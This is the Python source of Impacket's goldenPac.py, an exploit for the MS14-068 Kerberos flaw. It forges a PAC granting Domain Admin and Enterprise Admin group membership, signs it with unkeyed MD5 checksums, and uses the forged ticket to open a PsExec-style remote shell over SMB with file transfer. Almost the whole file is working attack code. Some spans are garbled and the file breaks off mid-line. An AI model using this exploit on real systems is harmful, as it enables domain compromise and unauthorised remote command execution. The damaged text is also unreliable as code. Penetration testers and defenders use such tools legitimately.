#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first! # Well done :). # This one also established a SMBConnection and PSEXEcs the # target. # A few important things: # 1) you must use the domain FQDN or use -dc-ip switch # 2) target must be a FQDN as well and matching the target's NetBIOS # 3) Just RC4 at the moment - DONE (aes256 added) # 4) It won't work on Kerberos-only Domains (but can be fixed) # 5) Use WMIEXEC approach instead # # E.G: # python goldenPac domain.net/normaluser@domain-host # the password will be asked, or # # python goldenPac.py domain.net/normaluser:mypwd@domain-host # # if domain.net and/or domain-host do not resolve, add them # to the hosts file or use the -dc-ip and -target-ip parameters # # Author: # Alberto Solino (@agsolino) # from __future__ import division from __future__ import print_function import cmd import logging import os import random import string import time from binascii import unhexlify from threading import Thread, Lock from six import PY3 from impacket.dcerpc.v5 import epm from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \ DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \ NULLGUID from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2 from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from impacket.krb5.pac import PKERB_VALIDATION_INFO, KERB_VALIDATION_INFO, KERB_SID_AND_ATTRIBUTES, PAC_CLIENT_INFO, \ PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ PAC_PRIVSVR_CHECKSUM, PACTYPE from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.examples import remcomsvc, serviceinstall from impacket.smbconnection import SMBConnection, smb from impacket.structure import Structure ################################################################################ # HELPER FUNCTIONS ################################################################################ def getFileTime(t): t *= 10000000 t += 116444736000000000 return t class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except Exception as e: print(str(e)) tries -= 1 time.sleep(2) pass if tries == 0: raise Exception('Pipe not ready, aborting') fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid class Pipes(Thread): def __init__(self, transport, pipe, permissions, TGS=None, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.TGS = TGS self.daemon = True def connectPipe(self): try: lock.acquire() global dialect self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode('cp437')) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print(""" lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share)) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = f.replace('/','\\') logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) if PY3: self.transferClient.putFile(self.share, pathname, fh.read) else: self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print(os.getcwd()) else: try: os.chdir(s) except Exception as e: logging.error(str(e)) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): if PY3: self.send_data(line.encode('cp437')+b'\r\n') else: self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, TGS=None, share=None): Pipes.__init__(self, transport, pipe, permisssions, TGS, share) def run(self): self.connectPipe() shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) shell.cmdloop() class MS14_068: # 6.1. Unkeyed Checksums # Vulnerable DCs are accepting at least these unkeyed checksum types CRC_32 = 1 RSA_MD4 = 2 RSA_MD5 = 7 class VALIDATION_INFO(TypeSerialization1): structure = ( ('Data', PKERB_VALIDATION_INFO), ) def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='', copyFile=None, writeTGT=None, kdcHost=None): self.__username = username self.__password = password self.__domain = domain self.__rid = 0 self.__lmhash = '' self.__nthash = '' self.__target = target self.__targetIp = targetIp self.__kdcHost = None self.__copyFile = copyFile self.__command = command self.__writeTGT = writeTGT self.__domainSid = '' self.__forestSid = None self.__domainControllers = list() self.__kdcHost = kdcHost if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') self.__lmhash = unhexlify(self.__lmhash) self.__nthash = unhexlify(self.__nthash) def getGoldenPAC(self, authTime): # Ok.. we need to build a PAC_TYPE with the following items # 1) KERB_VALIDATION_INFO aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ')) unixTime = getFileTime(aTime) kerbdata = KERB_VALIDATION_INFO() kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32 # LogoffTime: A FILETIME structure that contains the time the client's logon # session should expire. If the session should not expire, this structure # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as # an indicator of when to warn the user that the allowed time is due to expire. kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF # KickOffTime: A FILETIME structure that contains LogoffTime minus the user # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the # client should not be logged off, this structure SHOULD have the dwHighDateTime # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF. # The Kerberos service ticket end time is a replacement for KickOffTime. # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of # an account. A recipient of the PAC SHOULD<8> use this value as the indicator # of when the client should be forcibly disconnected. kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['PasswordLastSet']['dwLowDateTime'] = 0 kerbdata['PasswordLastSet']['dwHighDateTime'] = 0 kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 # PasswordMustChange: A FILETIME structure that contains the time at which # theclient's password expires. If the password will not expire, this # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the # dwLowDateTime member set to 0xFFFFFFFF. kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF kerbdata['EffectiveName'] = self.__username kerbdata['FullName'] = '' kerbdata['LogonScript'] = '' kerbdata['ProfilePath'] = '' kerbdata['HomeDirectory'] = '' kerbdata['HomeDirectoryDrive'] = '' kerbdata['LogonCount'] = 0 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = self.__rid kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = (513, 512, 520, 518, 519) kerbdata['GroupCount'] = len(groups) for group in groups: groupMembership = GROUP_MEMBERSHIP() groupId = NDRULONG() groupId['Data'] = group groupMembership['RelativeId'] = groupId groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['GroupIds'].append(groupMembership) kerbdata['UserFlags'] = 0 kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['LogonServer'] = '' kerbdata['LogonDomainName'] = self.__domain kerbdata['LogonDomainId'] = self.__domainSid kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00' kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD kerbdata['SubAuthStatus'] = 0 kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 kerbdata['FailedILogonCount'] = 0 kerbdata['Reserved3'] = 0 # AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is # asserted by an authentication authority based on proof of possession of client credentials. #extraSids = ('S-1-18-1',) if self.__forestSid is not None: extraSids = ('%s-%s' % (self.__forestSid, '519'),) kerbdata['SidCount'] = len(extraSids) kerbdata['UserFlags'] |= 0x20 else: extraSids = () kerbdata['SidCount'] = len(extraSids) for extraSid in extraSids: sidRecord = KERB_SID_AND_ATTRIBUTES() sid = RPC_SID() sid.fromCanonical(extraSid) sidRecord['Sid'] = sid sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED kerbdata['ExtraSids'].append(sidRecord) kerbdata['ResourceGroupDomainSid'] = NULL kerbdata['ResourceGroupCount'] = 0 kerbdata['ResourceGroupIds'] = NULL validationInfo = self.VALIDATION_INFO() validationInfo['Data'] = kerbdata if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO') validationInfo.dump() print ('\n') validationInfoBlob = validationInfo.getData() + validationInfo.getDataReferents() validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime try: name = self.__username.encode('utf-16le') except UnicodeDecodeError: import sys name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = pacClientInfo.getData() pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) # 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA serverChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #serverChecksum['SignatureType'] = self.CRC_32 #serverChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #serverChecksum['SignatureType'] = self.RSA_MD4 #serverChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this serverChecksum['SignatureType'] = self.RSA_MD5 serverChecksum['Signature'] = b'\x00'*16 serverChecksumBlob = serverChecksum.getData() serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) # 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA privSvrChecksum = PAC_SIGNATURE_DATA() # If you wanna do CRC32, uncomment this #privSvrChecksum['SignatureType'] = self.CRC_32 #privSvrChecksum['Signature'] = b'\x00'*4 # If you wanna do MD4, uncomment this #privSvrChecksum['SignatureType'] = self.RSA_MD4 #privSvrChecksum['Signature'] = b'\x00'*16 # If you wanna do MD5, uncomment this privSvrChecksum['SignatureType'] = self.RSA_MD5 privSvrChecksum['Signature'] = b'\x00'*16 privSvrChecksumBlob = privSvrChecksum.getData() privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER offsetData = 8 + len(PAC_INFO_BUFFER().getData())*4 # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData #offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 # Building the PAC_TYPE as specified in [MS-PAC] buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ pacClientInfo.getData() + pacClientInfoAlignment buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() pacType['cBuffers'] = 4 pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail blobToChecksum = pacType.getData() # If you want to do CRC-32, ucomment this #serverChecksum['Signature'] = struct.pack('